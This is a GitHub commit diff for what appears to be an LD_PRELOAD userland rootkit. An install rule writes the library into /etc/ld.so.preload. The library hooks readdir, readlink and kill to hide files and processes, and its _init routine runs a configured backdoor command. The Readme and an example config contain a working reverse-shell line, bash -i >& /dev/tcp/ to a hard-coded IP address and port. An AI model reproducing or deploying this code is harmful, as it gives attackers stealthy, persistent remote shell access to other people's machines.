Skip to content

Commit

Permalink
use init
Browse files Browse the repository at this point in the history
  • Loading branch information
Alex0Young committed Feb 26, 2024
1 parent f9ae5a7 commit 9674b11
Show file tree
Hide file tree
Showing 9 changed files with 24 additions and 19 deletions.
2 changes: 1 addition & 1 deletion Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,6 @@ dist/loader.so: $(SRCS) $(HEADERS)
gcc -shared -fPIC $(SRCS) -o $@ -ldl -lconfig -nostartfiles

install:
cp uroot.cfg /etc/uroot.cfg
cp ukk_root.cfg /etc/ukk_root.cfg
cp dist/loader.so /lib/sysutils.so
echo /lib/sysutils.so > /etc/ld.so.preload
4 changes: 2 additions & 2 deletions Readme.md
Original file line number Diff line number Diff line change
Expand Up @@ -18,12 +18,12 @@ dist/loader.so: $(SRCS) $(HEADERS)
gcc -shared -fPIC $(SRCS) -o $@ -ldl -lconfig -nostartfiles

install:
cp uroot.cfg /etc/uroot.cfg
cp ukk_root.cfg /etc/ukk_root.cfg
cp dist/loader.so /lib/sysutils.so
echo /lib/sysutils.so > /etc/ld.so.preload
```
## USE
uroot.cfg:
ukk_root.cfg:
```shell
backdoor = "bash -c 'bash -i >& /dev/tcp/123.249.89.38/50001 0>&1'";

Expand Down
2 changes: 1 addition & 1 deletion config.c
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@
#include "log.h"
#include "config.h"

char* CONFIG_FILE = "/etc/uroot.cfg";
char* CONFIG_FILE = "/etc/ukk_root.cfg";

int init_cfg(struct Config* cfg){
cfg->hidden = (const char**)malloc(sizeof(char*));
Expand Down
Binary file modified dist/loader.so
Binary file not shown.
2 changes: 1 addition & 1 deletion example/ctest.c
Original file line number Diff line number Diff line change
Expand Up @@ -110,4 +110,4 @@ int main() {
}

return 0;
}
}
8 changes: 5 additions & 3 deletions example/uroot.cfg
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
backdoor = "bash -c 'bash -i >& /dev/tcp/123.249.89.38/50001 0>&1'";
backdoor = "bash -c 'echo 't123abc'";

hidden = (
{ path = "/etc/cerez.cfg" }
);
{ path = "/etc/uroot.cfg" },
{ path = "/tmp/test" },
{ path = "uroot.cfg" }
);
17 changes: 13 additions & 4 deletions ldpre.c
Original file line number Diff line number Diff line change
Expand Up @@ -58,6 +58,7 @@ void _init() {
// backdoor is not already running
// if so we can start it up
backdoor = find_proc(cfg.backdoor);
// printf("backdoor0: %s %d\n", cfg.backdoor, backdoor.alive);
if(backdoor.alive){
return;
}
Expand All @@ -74,7 +75,7 @@ void _init() {
// daemon, 0 means child process should
// change dir to root dir, the other 0 means
// child processes std in/out will be redirected to /dev/null
daemon(0,0);
// daemon(0,0);

// then we execute the backdoor
system(cfg.backdoor);
Expand All @@ -91,6 +92,10 @@ bool path_check(const char* pathname){
debug_file("running path check");

// if no config then we fine
// printf("backdoor: %s\n", cfg.backdoor);
if(cfg.backdoor == NULL){
return true;
}
if(strcmp(cfg.backdoor, "NONE")==0){
return true;
}
Expand Down Expand Up @@ -122,10 +127,12 @@ bool path_check(const char* pathname){
return true;
}



// malicious syscalls
struct dirent *readdir(DIR *dirp){
debug_file("readdir called now!");

// printf("readdir: %x", *oreaddir);
struct dirent *dp = oreaddir(dirp);
while(dp != NULL && (!path_check(dp->d_name))){
dp = oreaddir(dirp);
Expand All @@ -144,9 +151,10 @@ ssize_t readlink(const char *restrict pathname, char *restrict buf, size_t bufsi
return oreadlink(pathname, buf, bufsiz);
}


/*
FILE* fopen64(const char *restrict pathname, const char *restrict mode){
debug_file("fopen64 called!");
printf("ofopen: %x", *ofopen);
if(!path_check(pathname)){
errno = ENOENT;
return NULL;
Expand All @@ -157,6 +165,7 @@ FILE* fopen64(const char *restrict pathname, const char *restrict mode){
int open(const char *pathname, int flags, ...){
debug_file("open called!");
printf("oopen: %x", *oopen);
if(!path_check(pathname)){
errno = ENOENT;
return -1;
Expand All @@ -177,7 +186,7 @@ int unlinkat(int dirfd, const char *pathname, int flags){
return ounlinkat(dirfd, pathname, flags);
}

*/
int kill(pid_t pid, int sig){
debug_file("kill called!");
// here it checks if someone is trying to
Expand Down
6 changes: 0 additions & 6 deletions uroot.cfg

This file was deleted.

2 changes: 1 addition & 1 deletion util.c
Original file line number Diff line number Diff line change
Expand Up @@ -73,8 +73,8 @@ struct proc find_proc(const char* name) {
if(strstr(cmd, name)==NULL && strstr(cmd, "bash -i")==NULL){
continue;
}

ret.pid[i] = atoi(entry->d_name);
// printf("cmd: %s %d\n", cmd, ret.pid[i]);
i += 1;
ret.pid = (int*)realloc(ret.pid, (i+1)*sizeof(int));
}
Expand Down

0 comments on commit 9674b11

Please sign in to comment.